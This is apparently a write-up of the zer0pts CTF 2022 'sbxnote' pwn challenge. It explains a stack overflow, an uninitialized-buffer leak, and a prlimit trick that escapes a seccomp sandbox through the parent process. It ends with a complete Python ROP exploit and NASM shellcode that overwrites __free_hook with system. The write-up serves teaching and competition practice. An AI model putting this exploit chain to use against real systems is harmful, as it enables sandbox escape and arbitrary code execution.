# sbxnote - zer0pts CTF 2022
###### tags: `zer0pts CTF 2022` `pwn`
Writeups: https://hackmd.io/@ptr-yudai/rJgjygUM9
## Overview
The program looks a simple note service. However, there are two processes:
- Child
- Interface to read input and print output
- Having a simple stack buffer overflow vulnerability
- Sandboxed
- Parent
- Managing notes
- No exploitable vulnerability by itself
- Unsandboxed
These processes communicates with each other through pipe. The child process is sandboxed with the following seccomp rules:
```
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x11 0xc000003e if (A != ARCH_X86_64) goto 0019
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x0f 0x00 0x40000000 if (A >= 0x40000000) goto 0019
0004: 0x15 0x0e 0x00 0x00000002 if (A == open) goto 0019
0005: 0x15 0x0d 0x00 0x00000101 if (A == openat) goto 0019
0006: 0x15 0x0c 0x00 0x0000003b if (A == execve) goto 0019
0007: 0x15 0x0b 0x00 0x00000142 if (A == execveat) goto 0019
0008: 0x15 0x0a 0x00 0x00000055 if (A == creat) goto 0019
0009: 0x15 0x09 0x00 0x00000039 if (A == fork) goto 0019
0010: 0x15 0x08 0x00 0x0000003a if (A == vfork) goto 0019
0011: 0x15 0x07 0x00 0x00000038 if (A == clone) goto 0019
0012: 0x15 0x06 0x00 0x00000065 if (A == ptrace) goto 0019
0013: 0x15 0x05 0x00 0x0000003e if (A == kill) goto 0019
0014: 0x15 0x04 0x00 0x000000c8 if (A == tkill) goto 0019
0015: 0x15 0x03 0x00 0x000000ea if (A == tgkill) goto 0019
0016: 0x15 0x02 0x00 0x00000136 if (A == process_vm_readv) goto 0019
0017: 0x15 0x01 0x00 0x00000137 if (A == process_vm_writev) goto 0019
0018: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0019: 0x06 0x00 0x00 0x00000000 return KILL
```
As far as I know, (on Ubuntu 20.04) there's no way to bypass this rule to execute arbitrary commands.
Both processes are protected without SSP:
```
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
```
## Bugs
### Child: BOF
Buffer overflow on reading a number.
```c
long getlong(const char *msg) {
char buf[32];
print(msg);
if (read(0, buf, 322) < 0)
exit(1);
return atol(buf);
}
```
You can exploit this if you can bypass ASLR because SSP is disabled.
### Parent: Uninitialized Buffer
There's no code to fill the array with zero.
```c
/* Create new buffer */
case NEW: {
if (req.size > 2800) {
/* Invalid size*/
RESPONSE(-1);
break;
}
/* Allocate new buffer */
old = buffer;
if (!(buffer = (uint64_t*)malloc(req.size * sizeof(uint64_t)))) {
/* Memory error */
size = -1;
RESPONSE(-1);
break;
}
/* Prevent memory leak */
free(old);
/* Update size */
size = req.size;
RESPONSE(0);
break;
}
```
The child process can read the uninitialized buffer to leak the address of heap and libc.
### Parent: NULL Pointer Dereference and OOB
There is one more vulnerability possibly exploitable in the parent process.
```c
/* Allocate new buffer */
old = buffer;
if (!(buffer = (uint64_t*)malloc(req.size * sizeof(uint64_t)))) {
/* Memory error */
size = -1;
RESPONSE(-1);
break;
}
```
If it fails to allocate the buffer, the size becomes -1. However, the type of `size` is `size_t`, which is unsigned, and so it may cause out-of-bounds read/write because there's no NULL pointer check:
```c
/* Set value */
case SET: {
if (req.index < 0 || req.index >= size) {
/* Invalid index */
RESPONSE(-1);
break;
}
/* Set value */
buffer[req.index] = req.value;
RESPONSE(0);
break;
}
```
This vulnerability is the same as that of MemSafeD. This bug turns into AAR/AAW vulnerability.
The hardest part of this task is to find out how you can make `malloc` return NULL. `malloc` returns NULL if it fails to allocate the buffer.
The easiest way is to simply request a very big buffer. However, the size is checked below:
```c
if (req.size > 2800) {
/* Invalid size*/
RESPONSE(-1);
break;
}
```
We cannot use up the memory with this small size because there's no memory leak bug.
## prlimit: Controlling the Parent
You can solve the problem with one simple system call: `prlimit`.
This system call can get and set the resource of a process even if it's not the child process without any capabilities.
You can set the limit on memory size by `RLIMIT_AS`. If you set this value small enough and apply it to the parent process, the parent process can no longer allocate memory bigger than the value.
(Be noted the system call will fail if you set the size too small.)
However, this system call does not restrict the behavior of `malloc`. It only affects the behavior of `mmap` system call.
So, you need to make `malloc` try to `mmap` a new region and fail it. `malloc` will call `mmap` when the heap is used up. Even if the maximum size of allocation is small, we can use up the heap by precisely filling tcache, fastbin, and other bins.
Last but not least, don't forget to remove the memory limit of the parent process before spawning the shell :)
## Exploit
```python=
import os
from ptrlib import *
def new(size):
sock.sendlineafter("> ", "1")
sock.sendlineafter(": ", str(size))
def get(index):
sock.sendlineafter("> ", "3")
sock.sendlineafter(": ", str(index))
return int(sock.recvlineafter(" = "))
HOST = os.getenv('HOST', 'localhost')
PORT = os.getenv('PORT', '9004')
libc = ELF("./libc-2.31.so")
#sock = Process("../distfiles/bin/chall")
sock = Socket(HOST, int(PORT))
# Leak libc base
new(0x88)
new(4)
new(0x88)
libc.set_base(get(0) - libc.main_arena() - 0x60)
rop_pop_rdi = libc.base + 0x00023b72
rop_pop_rsi = libc.base + 0x0002604f
rop_pop_rdx_r12 = libc.base + 0x00119241
# Prepare shellcode
addr_shellcode = libc.section('.bss') + 0x1000
payload = b'A' * 0x28
payload += flat([
# mprotect(shellcode, 0x1000, 7)
rop_pop_rdx_r12, 7, 0xdeadbeef,
rop_pop_rsi, 0x2000,
rop_pop_rdi, addr_shellcode & 0xfffffffffffff000,
libc.symbol('mprotect'),
# read(0, shellcode, 0x1000)
rop_pop_rdx_r12, 0x1000, 0xdeadbeef,
rop_pop_rsi, addr_shellcode,
rop_pop_rdi, 0,
libc.symbol('read'),
# shellcode()
addr_shellcode
], map=p64)
sock.sendafter("> ", payload)
# Inject shellcode
shellcode = nasm(
open("shellcode.S").read().format(
environ=libc.symbol('environ'),
free_hook=libc.symbol('__free_hook') // 8,
system=libc.symbol('system')
),
bits=64
)
sock.send(shellcode)
sock.close()
```
```nasm=
_start:
; r13 = p2c
; r14 = c2p
; r15 = ppid
mov rsi, {environ}
mov rsi, [rsi]
mov r14d, [rsi-0x114]
lea r13, [r14+1]
mov r15d, [rsi-0x10c]
;; Restrict parent's memory limit
; prlimit(ppid, RLIMIT_AS, new_limit, NULL)
xor r10d, r10d
lea rdx, [rel new_limit]
mov esi, 9
mov edi, r15d
mov eax, 302
syscall
test eax, eax
jnz NG
;; Use up parent's heap
xor ebp, ebp
_consume:
inc ebp
mov [rel s], ebp
; request(NEW, size)
mov edx, 0x18
lea rsi, [rel request_new]
mov edi, r14d
mov eax, 1
syscall
cmp eax, 0x18
jnz NG
; wait(res)
mov edx, 4
lea rsi, [rel res]
mov edi, r13d
mov eax, 0
syscall
cmp eax, 4
jnz NG
mov eax, [rel res]
test eax, eax
jz _consume
;; now buffer=NULL, size=-1
;; *__free_hook = system
mov rax, {free_hook}
mov [rel i], rax
mov rax, {system}
mov [rel v], rax
; request(SET, __free_hook/8, system)
mov edx, 0x18
lea rsi, [rel request_set]
mov edi, r14d
mov eax, 1
syscall
cmp eax, 0x18
jnz NG
;; Loose limit on parent's memory
; prlimit(ppid, RLIMIT_AS, remove_limit, NULL)
xor r10d, r10d
lea rdx, [rel remove_limit]
mov esi, 9
mov edi, r15d
mov eax, 302
syscall
test eax, eax
jnz NG
;; prepare command to execute
mov dword [rel s], 0x20
; request(NEW, size)
mov edx, 0x18
lea rsi, [rel request_new]
mov edi, r14d
mov eax, 1
syscall
cmp eax, 0x18
jnz NG
xor ebp, ebp
_inject:
mov [rel i], rbp
lea rsi, [rel s_cmd]
mov rax, [rsi+rbp*8]
mov [rel v], rax
; request(SET, i, cmd[i*8:i*8+8])
mov edx, 0x18
lea rsi, [rel request_set]
mov edi, r14d
mov eax, 1
syscall
cmp eax, 0x18
jnz NG
inc ebp
cmp ebp, 0x20
jnz _inject
;; win!
; request(NEW, size)
mov edx, 0x18
lea rsi, [rel request_new]
mov edi, r14d
mov eax, 1
syscall
cmp eax, 0x18
jnz NG
int3
NG:
hlt
res:
dd 0
request_new:
dq 0 ; NEW
s:dq 0 ; size
dq 0 ; unused
request_set:
dq 1 ; SET
i:dq 0 ; index
v:dq 0 ; value
new_limit:
dq 0 ; soft limit
dq 0x133700000000 ; hard limit
remove_limit:
dq 0x133700000000 ; soft limit
dq 0x133700000000 ; hard limit
s_cmd:
db '/bin/ls -lha > /tmp/pwned', 0
```